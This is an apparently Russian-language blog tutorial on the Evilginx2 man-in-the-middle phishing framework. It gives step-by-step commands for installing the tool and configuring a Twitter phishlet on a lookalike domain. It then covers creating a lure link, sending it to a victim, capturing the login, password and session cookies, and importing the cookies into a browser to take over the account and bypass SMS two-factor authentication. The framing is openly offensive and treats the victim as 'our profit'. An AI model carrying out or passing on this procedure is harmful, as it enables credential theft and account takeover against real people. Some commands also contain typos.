Найти тему

Evilginx2: Фишинг и обход 2FA

В этой статье, речь пойдет о фишинге и обходе двухфакторной аутентификации с помощью замечательного инструмента – Evilginx2.

Вторая версия Evilginx привлекает своей особенностью помогать тестировщикам на проникновение, и прочим хорошим людям обходить двухфакторную аутентификацию, и получать учетные данные от различных аккаунтов цели.

Evilginx2 - это фреймворк типа «man-in-the-middle», используемый для фишинга учетных данных для входа в систему наряду с сеансовыми cookie-файлами, что, в свою очередь, позволяет обойти защиту двухфакторной аутентификации.

Этот инструмент является преемником Evilginx, выпущенного в 2017 году, который использовал пользовательскую версию HTTP-сервера nginx для обеспечения функционала «man-in-the-middle» в качестве прокси между браузером и фишинговым веб-сайтом. Настоящая версия, полностью написана на GO, как отдельное приложение.

Evilginx2 - реализует собственный HTTP и DNS-сервер, что делает его чрезвычайно простым в настройке и использовании.

В качестве атакующей системы я использую Kali Linux Full Upgrade, и так как Evilginx2 написан на GO, устанавливаем себе его последней версии:

-2

Код:

wget https://dl.google.com/go/go1.11.5.src.tar.gz

И распаковываем его по указанному пути:

Код:

tar –C /usr/local –xzf go1.11.5.linux-amd64.tar.gz

Добавляем в свой .bashrc (или другой файл профиля) переменные, для запуска GO:

Код:

export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin

Теперь, можем устанавливать Evilginx2:

Код:

go get -u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2

Код:

make

И осуществим пробный запуск, без настроек:

Код:

evilginx2

Переходим, непосредственно к практической части.

Убедитесь, что никакие службы в системе не прослушивают порты TCP 443, TCP 80 и UDP 53.

Код:

netstat –tplnu

Evilginx2 сообщит при запуске, если не удаcтся открыть прослушивающий сокет на любом из этих портов.

По умолчанию evilginx2 будет искать фишлеты в каталоге ./phishlets/, а затем в /usr/share/evilginx /phishlets/. Если вы хотите указать собственный путь для загрузки phishlets, используйте параметр -p <phishlets_dir_path> при запуске инструмента.

Вызов справки:

Код:

evilginx2 –h

-3

Кроме этой, существует внутренняя справка по командам в самом Evilginx2.

Переходим, к настройке инструмента, перед проведением атаки.

Регистрируем домен и настраиваем серверы имен (ns1 и ns2) в панели администратора провайдера домена, чтобы они указывали на IP-адрес вашего сервера с Evilginx.

-4

Настройте домен и IP-адрес вашего сервера, используя следующие команды:

Код:

config domain yourdomain.com
config ip (your ip)

Теперь вы можете настроить phishlet, который хотите использовать. В этом случае это будет phishlet Twitter. Установите имя хоста для phishlet (он должен содержать ваш домен).

Код:

phishlets hostname twitter twitter.com.maligncorp.com

Затем необходимо получить CNAME’s для фишлета twitter, и прописать их в админ панели Domain – провайдера:

Каноническое имя (запись CNAME) – это тип записи DNS, которая привязывает псевдоним к действительному (каноническому) доменному имени. Записи CNAME обычно используются для привязки субдомена, такого как www или mail к домену, в котором размещен контент этого субдомена. Например, запись CNAME может привязывать веб-адрес www.example.com к фактическому веб-сайту для домена example.com.

Код:

phishlets get-hosts twitter

Добавляем эти имена в панели управления:

Включаем в работу фишлет:

Код:

phishlets enable twitter

Ждём получения сертификатов, и если всё прошло успешно – видим такой вывод.

Сделаем редирект, на оригинальный домен twitter’a:

Код:

config redirect_url http://twitter.com

Затем, необходимо создать приманку – фишинговый путь к форме авторизации в твиттере, делается это так:

Код:

lures create twitter

Копируем path и добавляем его к нашей фишинговой ссылке, в итоге, она должна выглядеть так:

Код:

https://twitter.com.maligncorp.com/jNvKjIkI

Поделимся ей с жертвой наших манипуляций и подождём результата, примерно такого:

Ссылка выглядит стрёмно, (в защиту скажу – HTTPS) но кто на неё смотрит?

Ввод логина и пароля… и

Проверяем захваченные сессии, в случае, если пароль введен, верно, и вход в аккаунт осуществлён, в таблице, в столбце tokens будет значение captured, это означает, что помимо логина и пароля мы получили Cookies авторизованной сессии пользователя в twitter.

Чтобы не вводить логин и пароль, воспользуемся ими, чтобы войти в аккаунт жертвы:

Код:

sessions 7

Копируем всё это, переходим у себя в браузере на twitter.com, затем используя аддон, EditThisCookie импортируем данные и перезагружаем страницу:

С этим – всё ок, получилось. Теперь двухфакторная аутентификация, чуть справки:

  • Двухфакторная аутентификация — это метод идентификации пользователя в каком-либо сервисе (как правило, в Интернете) при помощи запроса аутентификационных данных двух разных типов, что обеспечивает двухслойную, а значит, более эффективную защиту аккаунта от несанкционированного проникновения. На практике это обычно выглядит так: первый рубеж — это логин и пароль, второй — специальный код, приходящий по SMS или электронной почте. Реже второй «слой» защиты запрашивает специальный USB-ключ или биометрические данные пользователя. В общем, суть подхода очень проста: чтобы куда-то попасть, нужно дважды подтвердить тот факт, что вы — это вы, причем при помощи двух «ключей», одним из которых вы владеете, а другой держите в памяти.

Рассмотрим ситуацию, когда, цели необходимо восстановить пароль, та же ДФА с помощью телефона.

Приходит СМС от сервиса, и вводим полученный код:

Жертва сбрасывает пароль, в этом случае мы его не получаем, наш профит – это cookie текущей сессии:

Смотрим, что у нас в сессии, и копируем данные для импорта в браузер:

Итог, вполне предсказуем:

Это всё, что я хотел рассказать. Evilginx2 - очень крутой инструмент, советую посмотреть содержимое папки /phislets, уверен, натолкнёт на определенные мысли.